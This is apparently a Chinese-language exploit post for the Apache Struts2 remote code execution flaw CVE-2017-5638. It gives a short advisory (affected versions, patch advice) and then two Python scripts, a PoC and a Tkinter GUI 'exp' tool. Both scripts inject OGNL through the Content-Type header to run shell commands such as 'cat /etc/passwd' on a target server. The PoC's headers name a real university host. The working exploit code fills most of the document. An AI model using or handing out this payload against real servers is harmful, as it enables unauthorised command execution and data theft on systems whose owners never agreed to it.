Struts2 (CVE-2017-5638) exp & poc

漏洞编号：CVE-2017-5638 Struts2远程代码执行漏洞

漏洞名称： 基于 Jakarta plugin插件的Struts远程代码执行漏洞 

漏洞类型： 远程代码执行漏洞

危险等级： 高危

利用条件： Struts2在受影响版本内，并包含Commons-FileUpload、Commons-IO库

受影响版本： Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10

漏洞描述：

        受影响的Struts2版本在包含Commons-FileUpload、Commons-IO库时，该漏洞能够通过构造恶意的Content-Type值来执行任意代码。如果Content-Type值无效，则会抛出异常，并向用户显示错误消息，从而能够进一步获取服务器权限。

修复建议：

        安装官方补丁升级到最新版本：Struts 2.3.32 or Struts 2.5.10.1

        临时修复方法：Struts 2默认使用Jakarta的Common-FileUpload文件上传解析器，修改上传解析器为cos或pell。

POC：

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}

def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]='''%{(#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
    getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
    (#ros.flush())}'''
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

 EXP：

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



class START():

    def __init__(self,root):
        self.root=root
        self.show_W_Text = Text()
        self.show_url_ed = Label(root, text="str2")
        self.edit_url = Entry(root, text="输入地址")
        self.butt_whois = Button(root, text="kill",command=self.poc)
        self.show_url_ed.pack()
        self.edit_url.pack()
        self.butt_whois.pack()
        self.show_W_Text.pack()

    def poc(self):
        w_url = self.edit_url.get()
        text = self.show_W_Text
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(w_url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        text.insert(1.0, response)


if __name__ == '__main__':

    root=Tk()
    root.title("str2 045")
    motion=START(root)
    mainloop()